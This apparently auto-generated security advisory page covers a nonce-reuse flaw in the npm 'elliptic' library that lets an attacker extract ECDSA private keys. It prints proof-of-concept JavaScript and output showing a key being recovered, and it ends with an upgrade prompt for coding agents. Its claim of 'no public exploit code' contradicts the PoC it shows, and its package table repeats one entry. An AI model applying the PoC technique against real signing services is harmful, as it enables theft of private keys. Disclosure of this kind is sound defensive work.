# GHSA-vjh7-7g9h-fjfh: Elliptic's private key extraction in ECDSA upon signing a malformed input (e.g. a string)

> Attackers can extract private keys by causing nonce reuse during ECDSA signing of malformed inputs, compromising cryptographic security.

- **Severity:** Not scored
- **Exploited in the wild:** Not known
- **Login needed:** Not needed
- **Attackable:** Over the internet
- **Victim action needed:** Not needed
- **Fix available:** Yes
- **Published:** 12 Feb 2025

## What is GHSA-vjh7-7g9h-fjfh?

GHSA-vjh7-7g9h-fjfh is a vulnerability in elliptic, published on 12 Feb 2025. An attacker can exploit it over the internet without logging in, with no action from the victim.

### Official description

### Summary

Private key can be extracted from ECDSA signature upon signing a malformed input (e.g. a string or a number), which could e.g. come from JSON network input

Note that `elliptic` by design accepts hex strings as one of the possible input types

### Details

In this code: https://github.com/indutny/elliptic/blob/3e46a48fdd2ef2f89593e5e058d85530578c9761/lib/elliptic/ec/index.js#L100-L107

`msg` is a BN instance after conversion, but `nonce` is an array, and different BN instances could generate equivalent arrays after conversion.

Meaning that a same `nonce` could be generated for different messages used in signing process, leading to `k` reuse, leading to private key extraction from a pair of signatures

Such a message can be constructed for any already known message/signature pair, meaning that the attack needs only a single malicious message being signed for a full key extraction

While signing unverified attacker-controlled messages would be problematic itself (and exploitation of this needs such a scenario), signing a single message still _should not_ leak the private key

Also, message validation could have the same bug (out of scope for this report, but could be possible in some situations), which makes this attack more likely when used in a chain

### PoC

#### `k` reuse example

```js
import elliptic from 'elliptic'

const { ec: EC } = elliptic

const privateKey = crypto.getRandomValues(new Uint8Array(32))
const curve = 'ed25519' // or any other curve, e.g. secp256k1
const ec = new EC(curve)
const prettyprint = ({ r, s }) => `r: ${r}, s: ${s}`
const sig0 = prettyprint(ec.sign(Buffer.alloc(32, 1), privateKey)) // array of ones
const sig1 = prettyprint(ec.sign('01'.repeat(32), privateKey)) // same message in hex form
const sig2 = prettyprint(ec.sign('-' + '01'.repeat(32), privateKey)) // same `r`, different `s`
console.log({ sig0, sig1, sig2 })
```

#### Full attack

This doesn't include code for generation/recovery on a purpose (bit it's rather trivial)

```js
import elliptic from 'elliptic'

const { ec: EC } = elliptic

const privateKey = crypto.getRandomValues(new Uint8Array(32))
const curve = 'secp256k1' // or any other curve, e.g. ed25519
const ec = new EC(curve)

// Any message, e.g. previously known signature
const msg0 = crypto.getRandomValues(new Uint8Array(32))
const sig0 = ec.sign(msg0, privateKey)

// Attack
const msg1 = funny(msg0) // this is a string here, but can also be of other non-Uint8Array types
const sig1 = ec.sign(msg1, privateKey)

const something = extract(msg0, sig0, sig1, curve)

console.log('Curve:', curve)
console.log('Typeof:', typeof msg1)
console.log('Keys equal?', Buffer.from(privateKey).toString('hex') === something)
const rnd = crypto.getRandomValues(new Uint8Array(32))
const st = (x) => JSON.stringify(x)
console.log('Keys equivalent?', st(ec.sign(rnd, something).toDER()) === st(ec.sign(rnd, privateKey).toDER()))
console.log('Orig key:', Buffer.from(privateKey).toString('hex'))
console.log('Restored:', something)
```

Output:
```console
Curve: secp256k1
Typeof: string
Keys equal? true
Keys equivalent? true
Orig key: c7870f7eb3e8fd5155d5c8cdfca61aa993eed1fbe5b41feef69a68303248c22a
Restored: c7870f7eb3e8fd5155d5c8cdfca61aa993eed1fbe5b41feef69a68303248c22a
```

Similar for `ed25519`, but due to low `n`, the key might not match precisely but is nevertheless equivalent for signing:
```console
Curve: ed25519
Typeof: string
Keys equal? false
Keys equivalent? true
Orig key: f1ce0e4395592f4de24f6423099e022925ad5d2d7039b614aaffdbb194a0d189
Restored: 01ce0e4395592f4de24f6423099e0227ec9cb921e3b7858581ec0d26223966a6
```
`restored` is equal to `orig` mod `N`.

### Impact

Full private key extraction when signing a single malicious message (that passes `JSON.stringify`/`JSON.parse`)

## Which versions are affected by GHSA-vjh7-7g9h-fjfh?

2 open source packages ship an affected version, including elliptic.


| Package | Ecosystem | Affected | Fixed in |
| --- | --- | --- | --- |
| `elliptic` | npm | All versions | 6.6.1 |
| `elliptic` | npm | All versions | 6.6.1 |

## How do I fix GHSA-vjh7-7g9h-fjfh?

Upgrade elliptic to 6.6.1 or later.

## Is GHSA-vjh7-7g9h-fjfh being exploited?

There is no known exploitation of GHSA-vjh7-7g9h-fjfh in the wild and no public exploit code.

## Fix prompt for AI coding agents

```text
Check this codebase for GHSA-vjh7-7g9h-fjfh and fix it if it is affected.

What it is: GHSA-vjh7-7g9h-fjfh is a vulnerability in elliptic, published on 12 Feb 2025. An attacker can exploit it over the internet without logging in, with no action from the victim.
Exploitation: There is no known exploitation of GHSA-vjh7-7g9h-fjfh in the wild and no public exploit code.

Affected packages and fixed versions:
- elliptic (npm): affected all versions; fixed in 6.6.1
- elliptic (npm): affected all versions; fixed in 6.6.1

Task:
1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.
2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.
3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.
4. Run the tests and summarise what changed and why.
5. If nothing in the project is affected, say so and change nothing.

Reference: https://insights.sbomify.com/GHSA-vjh7-7g9h-fjfh/ (Markdown: https://insights.sbomify.com/GHSA-vjh7-7g9h-fjfh/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/GHSA-vjh7-7g9h-fjfh

---
From sbomify Insights: https://insights.sbomify.com/GHSA-vjh7-7g9h-fjfh/
Summaries are generated and may contain mistakes; the official description above is the record.
